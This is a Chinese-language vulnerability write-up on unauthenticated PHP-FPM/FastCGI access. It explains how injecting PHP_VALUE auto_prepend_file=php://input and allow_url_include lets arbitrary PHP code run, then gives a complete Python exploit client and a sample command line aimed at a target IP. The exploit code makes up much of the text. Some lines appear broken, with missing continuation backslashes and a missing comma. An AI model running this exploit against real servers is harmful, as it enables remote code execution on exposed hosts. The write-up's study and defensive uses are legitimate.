PHP-FPM Fastcgi 未授权访问漏洞

漏洞原理

Fastcgi

Fastcgi是一个通信协议，和HTTP协议一样，都是进行数据交换的一个通道。HTTP协议是浏览器和服务器中间件进行数据交换的协议，浏览器将HTTP头和HTTP体用某个规则组装成数据包，以TCP的方式发送到服务器中间件，服务器中间件按照规则将数据包解码，并按要求拿到用户需要的数据，再以HTTP协议的规则打包返回给服务器。类比HTTP协议来说，fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。

PHP-FPM

PHP-FPM是一个fastcgi协议解析器，Nginx等服务器中间件将用户请求按照fastcgi的规则打包好传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。PHP-FPM默认监听9000端口，如果这个端口暴露在公网，则我们可以自己构造fastcgi协议，和fpm进行通信。
用户访问http://127.0.0.1/index.php?a=1&b=2，如果web目录是/var/www/html，那么Nginx会将这个请求变成如下key-value对：

{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分，也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组，也是告诉fpm：“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后，进行解析，得到上述这些环境变量。然后，执行SCRIPT_FILENAME的值指向的PHP文件，也就是/var/www/html/index.php

security.limit_extensions配置

此时，SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的，如果这个文件不存在，fpm会直接返回404。在fpm某个版本之前，我们可以将SCRIPT_FILENAME的值指定为任意后缀文件，比如/etc/passwd。但后来，fpm的默认配置中增加了一个选项security.limit_extensions。其限定了只有某些后缀的文件允许被fpm执行，默认是.php。所以，当我们再传入/etc/passwd的时候，将会返回Access denied。由于这个配置项的限制，如果想利用PHP-FPM的未授权访问漏洞，首先就得找到一个已存在的PHP文件。我们可以找找默认源安装后可能存在的php文件，比如/usr/local/lib/php/PEAR.php

任意代码执行

那么，为什么我们控制fastcgi协议通信的内容，就能执行任意PHP代码呢？
理论上当然是不可以的，即使我们能控制SCRIPT_FILENAME，让fpm执行任意文件，也只是执行目标服务器上的文件，并不能执行我们需要其执行的文件。
但PHP是一门强大的语言，PHP.INI中有两个有趣的配置项，auto_prepend_file和auto_append_file。
auto_prepend_file是告诉PHP，在执行目标文件之前，先包含auto_prepend_file中指定的文件；auto_append_file是告诉PHP，在执行完成目标文件后，包含auto_append_file指向的文件。
那么就有趣了，假设我们设置auto_prepend_file为php://input，那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。（当然，还需要开启远程文件包含选项allow_url_include）
那么，我们怎么设置auto_prepend_file的值？
这又涉及到PHP-FPM的两个环境变量，PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的，PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项，PHP_ADMIN_VALUE可以设置所有选项。（disable_functions除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中）
所以，我们最后传入如下环境变量

{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

复现

EXP代码

import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) 
               + bchr(fcgi_type) 
               + bchr((requestid >> 8) & 0xFF) 
               + bchr(requestid & 0xFF) 
               + bchr((length >> 8) & 0xFF) 
               + bchr(length & 0xFF) 
               + bchr(0) 
               + bchr(0) 
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) 
                      + bchr((nLen >> 16) & 0xFF) 
                      + bchr((nLen >> 8) & 0xFF) 
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) 
                      + bchr((vLen >> 16) & 0xFF) 
                      + bchr((vLen >> 8) & 0xFF) 
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) 
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) 
                                 + bchr(self.keepalive) 
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT 
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

python fpm.py 192.168.122.1 /usr/local/lib/php/PEAR.php -c ""

参考：

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html